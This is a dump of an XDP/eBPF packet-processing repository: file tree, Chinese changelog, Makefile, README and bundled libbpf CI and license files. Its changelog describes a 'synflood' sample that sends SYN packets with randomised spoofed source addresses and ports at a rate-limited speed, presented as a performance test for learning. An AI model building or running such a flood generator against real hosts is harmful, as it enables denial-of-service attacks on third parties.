├── CONTRIBUTING.md
├── CONTRIBUTORS.md
├── Changelog.md
├── Makefile
├── Note.md
├── README.md
├── doc
└── xdp_packet_performance_report.docx
├── libbpf-0.3
├── .lgtm.yml
├── .travis.yml
├── BPF-CHECKPOINT-COMMIT
├── CHECKPOINT-COMMIT
├── LICENSE
├── LICENSE.BSD-2-Clause
├── LICENSE.LPGL-2.1
├── README.md
├── include
│ ├── asm
│ │ └── barrier.h
│ ├── linux
│ │ ├── compiler.h
│ │ ├── err.h
│ │ ├── filter.h
│ │ ├── kernel.h
│ │ ├── list.h
│ │ ├── overflow.h
│ │ ├── ring_buffer.h
│ │ └── types.h
│ └── uapi
│ │ └── linux
│ │ ├── bpf.h
│ │ ├── bpf_common.h
│ │ ├── btf.h
│ │ ├── if_link.h
│ │ ├── if_xdp.h
│ │ └── netlink.h
├── scripts
│ ├── coverity.sh
│ └── sync-kernel.sh
├── src
│ ├── .gitignore
│ ├── Makefile
│ ├── README.rst
│ ├── bpf.c
│ ├── bpf.h
│ ├── bpf_core_read.h
│ ├── bpf_endian.h
│ ├── bpf_helper_defs.h
│ ├── bpf_helpers.h
│ ├── bpf_prog_linfo.c
│ ├── bpf_tracing.h
│ ├── btf.c
│ ├── btf.h
│ ├── btf_dump.c
│ ├── hashmap.c
│ ├── hashmap.h
│ ├── libbpf.c
│ ├── libbpf.h
│ ├── libbpf.map
│ ├── libbpf.pc.template
│ ├── libbpf_common.h
│ ├── libbpf_errno.c
│ ├── libbpf_internal.h
│ ├── libbpf_probes.c
│ ├── libbpf_util.h
│ ├── netlink.c
│ ├── nlattr.c
│ ├── nlattr.h
│ ├── ringbuf.c
│ ├── str_error.c
│ ├── str_error.h
│ ├── xsk.c
│ └── xsk.h
└── travis-ci
│ ├── managers
│ ├── debian.sh
│ ├── travis_wait.bash
│ └── ubuntu.sh
│ └── vmtest
│ ├── build_pahole.sh
│ ├── build_selftests.sh
│ ├── checkout_latest_kernel.sh
│ ├── configs
│ ├── INDEX
│ ├── blacklist
│ │ ├── BLACKLIST-5.5.0
│ │ └── BLACKLIST-latest
│ ├── latest.config
│ └── whitelist
│ │ └── WHITELIST-4.9.0
│ ├── helpers.sh
│ ├── mkrootfs.sh
│ ├── prepare_selftests-4.9.0.sh
│ ├── prepare_selftests-5.5.0.sh
│ ├── prepare_selftests.sh
│ ├── run.sh
│ ├── run_selftests.sh
│ ├── run_vmtest.sh
│ └── vmlinux.h
├── manual.md
├── sample
├── dns_server
│ ├── Makefile
│ ├── edns.h
│ ├── main.cpp
│ ├── packet.cpp
│ ├── packet.h
│ ├── process.cpp
│ └── process.h
└── synflood
│ ├── Makefile
│ ├── main.cpp
│ ├── synflood.cpp
│ ├── synflood.h
│ ├── tokenbucket.cpp
│ └── tokenbucket.h
├── xdp_dev.c
├── xdp_dev.h
├── xdp_eth.c
├── xdp_eth.h
├── xdp_framepool.c
├── xdp_framepool.h
├── xdp_heap.c
├── xdp_heap.h
├── xdp_hugepage.c
├── xdp_hugepage.h
├── xdp_ipv4.h
├── xdp_ipv6.h
├── xdp_kern_prog
├── xdp_kern_prog.c
└── xdp_kern_prog.h
├── xdp_log.h
├── xdp_mempool.c
├── xdp_mempool.h
├── xdp_net.h
├── xdp_numa.c
├── xdp_numa.h
├── xdp_prefetch.h
├── xdp_prog.c
├── xdp_prog.h
├── xdp_ring.c
├── xdp_ring.h
├── xdp_runtime.c
├── xdp_runtime.h
├── xdp_sock.c
├── xdp_sock.h
├── xdp_worker.c
└── xdp_worker.h
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/huangying80/xdp_packet/d2b5b0123febb9b7075dae39e0bdd789e57a029e/CONTRIBUTING.md
--------------------------------------------------------------------------------
/CONTRIBUTORS.md:
--------------------------------------------------------------------------------
1 | The following is a list of people who have contributed ideas, code, bug
2 | reports, or in general have helped logstash along its way.
3 |
4 | Contributors:
5 | * huangying (hy_gzr@163.com)
6 | * emre
7 |
8 |
9 | Note: If you've sent us patches, bug reports, or otherwise contributed to
10 | xdp_packet, and you aren't on the list above and want to be, please let us know
11 | and we'll make sure you're here. Contributions from folks like you are what make
12 | open source awesome.
13 |
--------------------------------------------------------------------------------
/Changelog.md:
--------------------------------------------------------------------------------
1 | huangying, email: hy_gzr@163.com
2 |
3 | #### 修改历史:
4 | * 2021-04-15:
5 | * Compiles complete, but without any debugging
6 | * 2021-04-16:
7 | * 新加文件xdp_prefetch.h,在这个文件中定义了cpu预取的接口
8 | * 新加文件xdp_endian.h,在这个文件中定义了字节序转换的接口
9 | * 修改了ebpf程序中的bug,这个bug会造成无法获取4层协议的问题
10 | * 增加了对ipv6的支持
11 | * 2021-04-20:
12 | * 新增文件xdp_ipv4.h,在这个文件中定义了获取ipv4的头大小,包大小及对ipv4头的合法性检查
13 | * 修改了struct xdp_frame结构体,增加了指向framepool的指针成员
14 | * 新增文件xdp_ipv6.h,在这个文件中定义了检查ipv6报文头合法性的接口
15 | * 修改了xdp_kern_prog/xdp_kern_prog.c,在其中增加了对目的地址过滤的功能
16 | * 将xdp_endian.h更名为xdp_net.h,在原有基础上增加了ip头效验和及udp tcp头的效验和功能
17 | * 修改了xdp_prefetch.h,将xdp_prefetchX的参数去掉了volatile修饰
18 | * 修改了xdp_prog.c,增加了对目的IP地址的更新的功能
19 | * 修改了xdp_prog.c,纠正了xdp_prog_release定义不正确的错误
20 | * 修改了xdp_runtime.c,对xdp_runtime_setup_workers的参数进行了调整,增加了worker_func参数用于指定worker的处理函数
21 | * 修改了xdp_runtime.c,增加了xdp_runtime_startup_workers接口,用于启动worker线程
22 | * 修改了xdp_runtime.c,调整了设置IP过滤设置的相关接口的参数,使得可以支持设置目标IP
23 | * 修改该了xdp_worker.c及xdp_worker.h,调整了xdp_worker_start_by_id接口的访问权限,以供其他模块调用
24 | * 修改了一些语法错误
25 | * 增加了sample/dns_server目录,此目录中的代码实现了一个简单的dns服务器,目的是为了测试xdp_packet,目前已经编译完成,还未调试
26 | * 2021-04-26:
27 | * 修改了Makefile文件,将xdp_kern_prog.o生成在xdp_kern_prog目录下
28 | * 修改了Makefile文件,为了调试暂时去掉了-O2选项
29 | * 修改了测试程序sample/dns_server/main.cpp 增加了对命令行参数的处理
30 | * 修改了xdp_dev.c及xdp_dev.h文件,调整了xdp_dev_configure的参数
31 | * 修改了xdp_dev.c及xdp_dev.h文件,分别为struct xdp_tx_queue和struct xdp_rx_queue增加了创建实例的接口并且在适当的为止调用
32 | * 修改了xdp_dev.c文件,修复了在分配xdp_umem_info实例时对界限的判断的bug
33 | * 调整了主要数据结构,在结构中增加了cache line对齐的补偿,以提高性能
34 | * 调整了主要数据结构字节数的计算,增加了因地址对齐需要移动的字节数
35 | * 修改了xdp_eth.c文件,修复了设置网卡队列数量失败的问题
36 | * 修改了xdp_head.c文件,调整了mmap映射参数,解决了映射匿名内存失败的问题
37 | * 修改了xdp_kern_prog/xdp_kern_prog.h文件,增加了一些宏用来引用xsks_map
38 | * 修改了xdp_kern_prog/xdp_kern_prog.c文件,调整了重定向map的名字固定为xsks_map,这是受libbpf库的约束
39 | * 修改了xdp_log.h文件,解决了日志无法按预期输出的问题
40 | * 修改了xdp_mempool.c文件,解决了遍历mempool_ops数组时指向不正确造成段错误的问题
41 | * 修改了xdp_mempool.h文件,增加了cache line对齐的宏定义及判断是否2的幂和2的幂对齐的接口
42 | * 修改了xdp_prog.c文件,在xdp_prog_init中如果prog已经加载时返回错误
43 | * 修改了xdp_ring.c文件,调整了判断队列长度是否为2的幂的方式
44 | * 修改了xdp_sock.c文件,修复了为fill_queue分配缓存时,对返回值的错误的判断的问题
45 | * 2021-04-29:
(此次改动,基本功能以调试通过,在单核单网卡队列下已经可以正常接收和响应dns报文)
46 | * 解决了调用fgets时出现段错误的问题,原因是因为frame_list分配了sizeof(struct xdp_frame * ) 的大小,但实际使用时使用了sizeof(struct xdp_frame * ) * ring_size大小的空间造成了内存越界
47 | * 2021-05-12:
48 | * 更新了libbpf库
49 | * 新增文件edns.h,定义了edns相关结构,用在测试程序sample/dns_server中
50 | * 修改了测试程序sample/dns_server中的packet.cpp和packet.h,用以解决封装dns响应包格式不正确的问题
51 | * 修改了测试程序sample/dns_server中的process.cpp,解决了ip头校验和不正确的问题
52 | * 修改了测试程序sample/dns_server中的process.cpp,解决了一直不停发包的问题
53 | * 修改了xdp_ipv4.h文件,修正了对ip报文字节数检查错误的问题
54 | * 修改了xdp_prog.c文件,针对PERCPU_HASH类型的map更新时传入参数错误的问题,正确的参数应该是传入一个数组
55 | * 修改了xdp_sock.c文件,解决了从umem中获取报文地址时错误的计算了frame->data_off的问题
56 | * 修改了xdp_kern_prog.c文件,调整了丢包、重定向、通过等状态的逻辑,增加了XDP_NOSET状态用于表示没有设置状态
57 | 将逻辑调整成了如果没有设置就检查下一层协议,如果设置了状态,则不论是什么状态都直接返回,这么做是为了提高执行效率
58 | * 2021-05-17:
59 | * 修改了sample/dns_server/Makefile文件,以启用输出调试信息的功能
60 | * 修改了xdp_dev.h和xdp_dev.c文件,在计算收发队列数据结构占用字节数的计算中去掉了在最后加上XDP_CACHE_LINE的处理以解决过多的从内存池中分配内存造成内存池不够用的问题
61 | * 修改了xdp_frame.h和xdp_fram.c,在计算收发队列数据结构占用字节数的计算中去掉了在最后加上XDP_CACHE_LINE的处理以解决过多的从内存池中分配内存造成内存池不够用的问题
62 | * 修改了xdp_hugepage.c文件,在xdp_hugepage_init中增加了先清理环境再挂在的处理,以防止程序意外退出再启动时对大页的重复占用造成耗尽的问题
63 | * 修改了xdp_hugepage.c文件,在xdp_hugepage_releae中增加了对大页文件及目录是否存在的判断以避免出现umount2调用失败的情况
64 | * 修改了xdp_kern_prog/xdp_kern_prog.c文件,将所有BPF_MAP_TYPE_PERCPU_HASH类型map的value_size的设置,从__u32改成了__u64,因为BPF_MAP_TYPE_PERCPU_HASH类型的map的值大小必须是8字节对齐的
65 | * 修改了xdp_kern_prog/xdp_kern_prog.c文件,当action为XDP_NOSET时,将此action设置成XDP_PASS,也就是将默认action调整成了XDP_PASS
66 | * 修改了xdp_prog.c文件,增加了xdp_prog_reload接口,用来程序在上一次加载后意外退出后而没有卸载prog造成的本次无法加载的问题
67 | * 修改了xdp_prog.c文件,纠正了对BPF_MAP_TYPE_PERCPU_HASH类型map错误的更新方法的问题
68 | * 修改了xdp_ring.h和xdp_ring.c文件,在计算收发队列数据结构占用字节数的计算中去掉了在最后加上XDP_CACHE_LINE的处理以解决过多的从内存池中分配内存造成内存池不够用的问题
69 | * 修改了xdp_runtime.h和xdp_runtime.c文件,增加了允许用户指定numa节点的处理
70 | * 修改了xdp_worker.c文件,解决了使能worker时,返回使能的worker的数量不对的问题
71 | * 2021-05-18:
72 | * 修改了sample/dns_server/main.cpp文件,增加了命令行参数-Q,以便于在压力测试时指定队列数量
73 | * 修改了sample/dns_server/main.cpp文件,增加了对xdp_runtime_setup_rss_ipv4的调用,用以设置网卡RSS
74 | * 修改了xdp_eth.c和xdp_eth.h文件,实现了设置网卡多队列RSS的设置接口,目前支持ipv4和ipv6的源IP|目标IP|源端口|目标端口作为RSS的hash key
75 | * 修改了xdp_runtime.h和xdp_runtime.c,封装了设置网卡多队列RSS的接口,为外层调用
76 | * 2021-05-20:
77 | * 修改该了xdp_worker.h和xdp_worker.c,解决了worker数超过属于同一个numa节点的CPU核数时启动worker失败的问题
78 | * 2021-05-24:
79 | * 修改了Makefile,为了压力测试关闭了调试信息开关
80 | * 增加了文件doc/xdp_packet_performance_report.docx,用来记录测试方法及结果
81 | * 修改了sample/dns_server/main.cpp,增加了配置numa节点的命令行参数
82 | * 修改了xdp_numa.h,xdp_numa.c和xdp_mempool.c,解决了在创建内存池时设置numa策略失败的问题。
83 | * 修改了doc/xdp_packet_performance_report.docx,重新测试了单核单网卡队列,相同numa节点的压力测试。
84 | * 修改了xdp_worker.h及xdp_worker.c,增加了获取当前线程worker_id的接口
85 | * 修改了sample/dns_server/process.cpp和sample/dns_server/process.h文件,修复了多线程时因为packet实例造成的段错误
86 | * 2021-05-26
87 | * 修改了xdp_frame.h及xdp_frame.c文件,实现了fill_size和complete_size大小可配的功能
88 | * 修改了xdp_log.h文件,增加了警告级别的信息输出
89 | * 修改了xdp_runtime.c文件,在创建frame pool时增加了complete_size大小的参数
90 | * 修改了doc/xdp_packet_performance_report.docx文件,增加了2核2网卡队列的性能测试报告
91 | * 2021-05-28
92 | * 修改了doc/xdp_packet_performance_report.docx文件,增加了2核2网卡队列的性能测试报告
93 | * 2021-05-31
94 | * 修改了sample/dns_server/process.cpp文件,纠正了在接收数据包之后重复预取的问题,此问题会对性能有少许影响
95 | * 修改了xdp_kern_prog/xdp_kern_prog.c文件,计算IP头部大小时使用左移操作代替了乘法操作,以便提升一点点性能
96 | * 增加了sample/synflood示例项目,用以测试发包性能,此示例只用于学习,请勿用于其他非正当用途。
97 | * 2021-06-03
98 | * 修改了sample/sysflood/main.cpp文件,增加了对发包速度限速的支持
99 | * 修改了sample/sysflood/synflood.cpp文件
100 | 1.增加了设置目标mac地址的功能
101 | 2.从初始化数据包中分离出了随机源地址、源端口、效验和等变换的部分
102 | 3.增加了对令牌桶的调用,以实现对发包速度的限速
103 | * 增加了sample/sysflood/tokenbucket.cpp和tokenbucket.h,实现了令牌桶算法
104 | * 修改了xdp_framepool.cpp文件,在创建framepool时,将frame的data_off的初始值从0调整为headroom
105 | * 修改了xdp_worker.cpp文件,修复了程序结束时,worker无法退出,资源不能回收的问题
106 | * 修改了sample/synflood/main.cpp文件,调整命令行参数
107 | * 2021-06-21
108 | * 修改了xdp_worker.c文件,增加了根据宏定义XDP_HIGH_PAUSE是否定义来确定xdp_pause是usleep还是_mm_pause
109 | * 修改了sample/synflood/synflood.cpp文件,对fin、ack等字段做了初始化并在ip头部的tos启用了lowdelay
110 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | CLANG := clang
2 | CLANG_FLAGS := -D__BPF_TRACING__ -Wall -Werror -Wno-unused-function -O3 #-O2
3 | LLC := llc
4 | XDP_PROG_SRC := $(wildcard xdp_kern_prog/*.c)
5 | XDP_PROG_OBJ := $(XDP_PROG_SRC:%.c=%.ll)
6 | XDP_PROG_TARGET := $(XDP_PROG_OBJ:%.ll=%.o)
7 | #XDP_PROG_DEBUG := -DKERN_DEBUG -g
8 |
9 | CC := gcc
10 | AR := ar
11 | CFLAGS += -Wall -Werror -D_LARGEFILE64_SOURCE -D_FILE_OFFSET_BITS=64 -D_GNU_SOURCE -O3 #-O2 -O
12 | #DEBUG := -DXDP_DEBUG_VERBOSE -DXDP_ERROR_VERBOSE -g
13 | LIB := -lpthread
14 |
15 | XDP_PACKET_SRC := $(wildcard *.c)
16 | XDP_PACKET_OBJ := $(XDP_PACKET_SRC:%.c=%.o)
17 | XDP_PACKET_TARGET := libxdppacket.a
18 |
19 | LIBBPF_LIB := -Wl,--whole-archive ./libbpf-0.3/src/libbpf.a -Wl,--no-whole-archive -lelf -lz
20 | LIBBPF_INCLUDE := -I./ -I./libbpf-0.3/src -I./libbpf-0.3/include/uapi -I./libbpf-0.3/src/build/usr/include
21 |
22 | all: prog static
23 |
24 | static: $(XDP_PACKET_TARGET)
25 | $(AR) rcs $(XDP_PACKET_TARGET) $(XDP_PACKET_OBJ) $(XDP_PROG_TARGET)
26 |
27 | $(XDP_PACKET_TARGET): $(XDP_PACKET_OBJ)
28 |
29 | vpath %.c .
30 | $(XDP_PACKET_OBJ): %.o:%.c
31 | $(CC) -c $< -o $@ $(DEBUG) $(CFLAGS) $(LIBBPF_INCLUDE)
32 |
33 | prog: $(XDP_PROG_TARGET)
34 |
35 | $(XDP_PROG_TARGET): $(XDP_PROG_OBJ)
36 | $(LLC) -march=bpf -filetype=obj -o $@ $<
37 | @chmod a+x $@
38 |
39 | vpath %.c xdp_kern_prog
40 | $(XDP_PROG_OBJ): %.ll:%.c
41 | $(CLANG) -S -target bpf $(XDP_PROG_DEBUG) $(CLANG_FLAGS) $(LIBBPF_INCLUDE) -emit-llvm -c -o $@ $<
42 |
43 | clean:
44 | rm -rf $(XDP_PACKET_OBJ) $(XDP_PACKET_TARGET) $(XDP_PROG_TARGET) $(XDP_PROG_OBJ)
45 |
46 | .PHONY: all clean static prog
47 |
48 |
49 |
50 |
51 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | **xdp_packet**
2 | huangying, email: hy_gzr@163.com
3 | ====
4 |
5 | ## xdp_packet简介
6 | * 基于xdp及ebpf开发,不存在像dpdk一样用uio驱动接管内核网卡驱动造成的网络接口不可见的问题。
7 | * 可根据配置规则决定网络包传递给内核协议栈,或丢弃,或直接传递到用户空间。
8 | * 高性能网络收包框架即网络数据平面开发框架,单CPU核单网卡队列的环境下,包转发性能可达百万PPS。并且在增加CPU核心数及网卡队列数且numa本地访问时,性能满足线性增长。目前可用于DNS服务、负载均衡,三四层路由等应用。
9 | * 同时支持高性能的丢包处理,单CPU核单网卡队列的环境下,丢包可达9百万pps。目前支持规则,源IP及子网,目标IP及子网,源端口,目标端口,目前可用于防火墙等应用.
10 | * 支持使用大页内存,以提高性能。
11 | * 对内核版本、内核网卡驱动、网卡型号有要求,详细支持情况请参考
12 | https://github.com/iovisor/bcc/blob/master/docs/kernel-versions.md#xdp
13 | ### 本项目用于交流和学习,请勿用于非正当途径
14 |
15 | 因为dpdk需要用uio驱动接管网卡,当应用出现问题时,维护起来比较麻烦,可能需要两块网卡,一块用于收发包处理,一个用于远程登陆 但是xdp可以将ebpf程序加载到网卡驱动中执行,而不需要从内核中将网卡接管。利用此特性给维护提供了方便,不需要额外的管理网卡就可以远程登录。 dpdk中虽然也支持af_xdp,但是低版本中存在个别的bug,在一定条件下会触发段错误,在低版本中会存在性能不够的情况(这些问题,dpdk官方已经有补丁) 又因为dpdk强大的功能导致整个源码复杂庞大,不太方便学习,所以决定搞一个简单点的,基于xdp的高性能收发包框架xdp_packet,以便于学习和应用到之后 的工作中,此项目需要了解xdp,ebpf为基础
16 |
17 | 此开源项目利用XDP中的af_xdp实现了网络包绕过了内核协议栈直接到用户空间的处理,且不需要像dpdk那样,需要用uio驱动接管内核的网卡驱动 此项目目前刚刚开始,正处于开发阶段,编译完成,但还没有经过任何调试,所以会存在许多bug.
18 |
19 | 同时非常感谢dpdk提供的支持和参考以及宝贵的系统经验!
20 |
21 | #### 编译:
22 | * 依赖:至少满足以下版本
23 | * centos 7.6.1810
24 | * kerne 5.9.1 内核需要开启特定配置选项以支持xdp 请参考https://docs.cilium.io/en/v1.8/bpf/#compiling-the-kernel
25 | * gcc/g++ version 8.3.1
26 | * LLVM version 9.0.1
27 | * clang version 9.0.1
28 | * libpthread-2.17.so
29 | * elfutils-libelf-devel-0.176-5
30 | * numactl-libs-2.0.12-5
31 | * libz.so.1.2.7
32 | * 下载
33 | * git clone https://github.com/huangying80/xdp_packet.git
34 | * 编译:生成静态库libxdppacket.a和ebpf程序xdp_kern_prog/xdp_kern_prog.o
35 | * cd xdp_packet
36 | * make
37 | * 示例
38 | * https://github.com/huangying80/xdp_packet/tree/main/sample
39 |
40 | #### 使用手册:
41 | https://github.com/huangying80/xdp_packet/blob/main/manual.md
42 | #### 开发中遇到的一些问题及解决办法:
43 | https://github.com/huangying80/xdp_packet/blob/main/Note.md
44 |
45 | #### 修改历史:
46 | **已经移动到Changelog.md**
47 | https://github.com/huangying80/xdp_packet/blob/main/Changelog.md
48 |
49 | #### 开发进度:
50 | * 完善接口说明文档 `进行中`
51 | * 单核单网卡队列收发包功能调试 `已完成`
52 | * 大页内存功能调试 `已完成`
53 | * 调试在多核多网卡队列下的收发包处理 `已完成`
54 | * 单核单网卡队列下的测试程序sample/dns_server的压力测试 `已完成`
55 | * 单核单网卡队列下且设置numa节点的测试程序sample/dns_server的压力测试 `已完成`
56 | * 多核多网卡队列下的测试程序sample/dns_server的压力测试 `已完成`
57 | * 多核多网卡队列下且设置numa节点的测试程序sample/dns_server的压力测试 `已完成`
58 |
59 |
60 |
--------------------------------------------------------------------------------
/doc/xdp_packet_performance_report.docx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/huangying80/xdp_packet/d2b5b0123febb9b7075dae39e0bdd789e57a029e/doc/xdp_packet_performance_report.docx
--------------------------------------------------------------------------------
/libbpf-0.3/.lgtm.yml:
--------------------------------------------------------------------------------
1 | # vi: set ts=2 sw=2:
2 | extraction:
3 | cpp:
4 | prepare:
5 | packages:
6 | - libelf-dev
7 | - pkg-config
8 | after_prepare:
9 | # As the buildsystem detection by LGTM is performed _only_ during the
10 | # 'configure' phase, we need to trick LGTM we use a supported build
11 | # system (configure, meson, cmake, etc.). This way LGTM correctly detects
12 | # that our sources are in the src/ subfolder.
13 | - touch src/configure
14 | - chmod +x src/configure
15 |
--------------------------------------------------------------------------------
/libbpf-0.3/.travis.yml:
--------------------------------------------------------------------------------
1 | sudo: required
2 | language: bash
3 | dist: bionic
4 | services:
5 | - docker
6 |
7 | env:
8 | global:
9 | - PROJECT_NAME='libbpf'
10 | - AUTHOR_EMAIL="$(git log -1 --pretty=\"%aE\")"
11 | - REPO_ROOT="$TRAVIS_BUILD_DIR"
12 | - CI_ROOT="$REPO_ROOT/travis-ci"
13 | - VMTEST_ROOT="$CI_ROOT/vmtest"
14 |
15 | addons:
16 | apt:
17 | packages:
18 | - qemu-kvm
19 | - zstd
20 | - binutils-dev
21 | - elfutils
22 | - libcap-dev
23 | - libelf-dev
24 | - libdw-dev
25 |
26 | stages:
27 | # Run Coverity periodically instead of for each PR for following reasons:
28 | # 1) Coverity jobs are heavily rate-limited
29 | # 2) Due to security restrictions of encrypted environment variables
30 | # in Travis CI, pull requests made from forks can't access encrypted
31 | # env variables, making Coverity unusable
32 | # See: https://docs.travis-ci.com/user/pull-requests#pull-requests-and-security-restrictions
33 | - name: Coverity
34 | if: type = cron
35 |
36 | jobs:
37 | include:
38 | - stage: Builds & Tests
39 | name: Kernel LATEST + selftests
40 | language: bash
41 | env: KERNEL=LATEST
42 | script: $CI_ROOT/vmtest/run_vmtest.sh || travis_terminate 1
43 |
44 | - name: Kernel 4.9.0 + selftests
45 | language: bash
46 | env: KERNEL=4.9.0
47 | script: $CI_ROOT/vmtest/run_vmtest.sh || travis_terminate 1
48 |
49 | - name: Kernel 5.5.0 + selftests
50 | language: bash
51 | env: KERNEL=5.5.0
52 | script: $CI_ROOT/vmtest/run_vmtest.sh || travis_terminate 1
53 |
54 | - name: Debian Build
55 | language: bash
56 | install: $CI_ROOT/managers/debian.sh SETUP
57 | script: $CI_ROOT/managers/debian.sh RUN || travis_terminate 1
58 | after_script: $CI_ROOT/managers/debian.sh CLEANUP
59 |
60 | - name: Debian Build (ASan+UBSan)
61 | language: bash
62 | install: $CI_ROOT/managers/debian.sh SETUP
63 | script: $CI_ROOT/managers/debian.sh RUN_ASAN || travis_terminate 1
64 | after_script: $CI_ROOT/managers/debian.sh CLEANUP
65 |
66 | - name: Debian Build (clang)
67 | language: bash
68 | install: $CI_ROOT/managers/debian.sh SETUP
69 | script: $CI_ROOT/managers/debian.sh RUN_CLANG || travis_terminate 1
70 | after_script: $CI_ROOT/managers/debian.sh CLEANUP
71 |
72 | - name: Debian Build (clang ASan+UBSan)
73 | language: bash
74 | install: $CI_ROOT/managers/debian.sh SETUP
75 | script: $CI_ROOT/managers/debian.sh RUN_CLANG_ASAN || travis_terminate 1
76 | after_script: $CI_ROOT/managers/debian.sh CLEANUP
77 |
78 | - name: Debian Build (gcc-8)
79 | language: bash
80 | install: $CI_ROOT/managers/debian.sh SETUP
81 | script: $CI_ROOT/managers/debian.sh RUN_GCC8 || travis_terminate 1
82 | after_script: $CI_ROOT/managers/debian.sh CLEANUP
83 |
84 | - name: Debian Build (gcc-8 ASan+UBSan)
85 | language: bash
86 | install: $CI_ROOT/managers/debian.sh SETUP
87 | script: $CI_ROOT/managers/debian.sh RUN_GCC8_ASAN || travis_terminate 1
88 | after_script: $CI_ROOT/managers/debian.sh CLEANUP
89 |
90 | - name: Ubuntu Bionic Build
91 | language: bash
92 | script: sudo $CI_ROOT/managers/ubuntu.sh || travis_terminate 1
93 |
94 | - name: Ubuntu Bionic Build (arm)
95 | arch: arm64
96 | language: bash
97 | script: sudo $CI_ROOT/managers/ubuntu.sh || travis_terminate 1
98 |
99 | - name: Ubuntu Bionic Build (s390x)
100 | arch: s390x
101 | language: bash
102 | script: sudo $CI_ROOT/managers/ubuntu.sh || travis_terminate 1
103 |
104 | - name: Ubuntu Bionic Build (ppc64le)
105 | arch: ppc64le
106 | language: bash
107 | script: sudo $CI_ROOT/managers/ubuntu.sh || travis_terminate 1
108 |
109 | - stage: Coverity
110 | language: bash
111 | env:
112 | # Coverity configuration
113 | # COVERITY_SCAN_TOKEN=xxx
114 | # Encrypted using `travis encrypt --repo libbpf/libbpf COVERITY_SCAN_TOKEN=xxx`
115 | - secure: "I9OsMRHbb82IUivDp+I+w/jEQFOJgBDAqYqf1ollqCM1QhocxMcS9bwIAgfPhdXi2hohV7sRrVMZstahY67FAvJLGxNopi4tAPDIAaIFxgO0yDxMhaTMx5xDfMwlIm2FOP/9gB9BQsd6M7CmoQZgXYwBIv7xd1ooxoQrh2rOK1YrRl7UQu3+c3zPTjDfIYZzR3bFttMqZ9/c4U0v8Ry5IFXrel3hCshndHA1TtttJrUSrILlZcmVc1ch7JIy6zCbCU/2lGv0B/7rWXfF8MT7O9jPtFOhJ1DEcd2zhw2n4j9YT3a8OhtnM61LA6ask632mwCOsxpFLTun7AzuR1Cb5mdPHsxhxnCHcXXARa2mJjem0QG1NhwxwJE8sbRDapojexxCvweYlEN40ofwMDSnj/qNt95XIcrk0tiIhGFx0gVNWvAdmZwx+N4mwGPMTAN0AEOFjpgI+ZdB89m+tL/CbEgE1flc8QxUxJhcp5OhH6yR0z9qYOp0nXIbHsIaCiRvt/7LqFRQfheifztWVz4mdQlCdKS9gcOQ09oKicPevKO1L0Ue3cb7Ug7jOpMs+cdh3XokJtUeYEr1NijMHT9+CTAhhO5RToWXIZRon719z3fwoUBNDREATwVFMlVxqSO/pbYgaKminigYbl785S89YYaZ6E5UvaKRHM6KHKMDszs="
116 | - COVERITY_SCAN_PROJECT_NAME="libbpf"
117 | - COVERITY_SCAN_NOTIFICATION_EMAIL="${AUTHOR_EMAIL}"
118 | - COVERITY_SCAN_BRANCH_PATTERN="$TRAVIS_BRANCH"
119 | # Note: `make -C src/` as a BUILD_COMMAND will not work here
120 | - COVERITY_SCAN_BUILD_COMMAND_PREPEND="cd src/"
121 | - COVERITY_SCAN_BUILD_COMMAND="make"
122 | install:
123 | - sudo echo 'deb-src http://archive.ubuntu.com/ubuntu/ bionic main restricted universe multiverse' >>/etc/apt/sources.list
124 | - sudo apt-get update
125 | - sudo apt-get -y build-dep libelf-dev
126 | - sudo apt-get install -y libelf-dev pkg-config
127 | script:
128 | - scripts/coverity.sh || travis_terminate 1
129 | allow_failures:
130 | - env: KERNEL=x.x.x
131 |
--------------------------------------------------------------------------------
/libbpf-0.3/BPF-CHECKPOINT-COMMIT:
--------------------------------------------------------------------------------
1 | 1a3449c19407a28f7019a887cdf0d6ba2444751a
2 |
--------------------------------------------------------------------------------
/libbpf-0.3/CHECKPOINT-COMMIT:
--------------------------------------------------------------------------------
1 | 3db1a3fa98808aa90f95ec3e0fa2fc7abf28f5c9
2 |
--------------------------------------------------------------------------------
/libbpf-0.3/LICENSE:
--------------------------------------------------------------------------------
1 | LGPL-2.1 OR BSD-2-Clause
2 |
--------------------------------------------------------------------------------
/libbpf-0.3/LICENSE.BSD-2-Clause:
--------------------------------------------------------------------------------
1 | Valid-License-Identifier: BSD-2-Clause
2 | SPDX-URL: https://spdx.org/licenses/BSD-2-Clause.html
3 | Usage-Guide:
4 | To use the BSD 2-clause "Simplified" License put the following SPDX
5 | tag/value pair into a comment according to the placement guidelines in
6 | the licensing rules documentation:
7 | SPDX-License-Identifier: BSD-2-Clause
8 | License-Text:
9 |
10 | Copyright (c) . All rights reserved.
11 |
12 | Redistribution and use in source and binary forms, with or without
13 | modification, are permitted provided that the following conditions are met:
14 |
15 | 1. Redistributions of source code must retain the above copyright notice,
16 | this list of conditions and the following disclaimer.
17 |
18 | 2. Redistributions in binary form must reproduce the above copyright
19 | notice, this list of conditions and the following disclaimer in the
20 | documentation and/or other materials provided with the distribution.
21 |
22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
23 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
24 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
25 | ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
26 | LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
27 | CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
28 | SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
29 | INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
30 | CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
31 | ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
32 | POSSIBILITY OF SUCH DAMAGE.
33 |
--------------------------------------------------------------------------------
/libbpf-0.3/README.md:
--------------------------------------------------------------------------------
1 | BPF/libbpf usage and questions
2 | ==============================
3 |
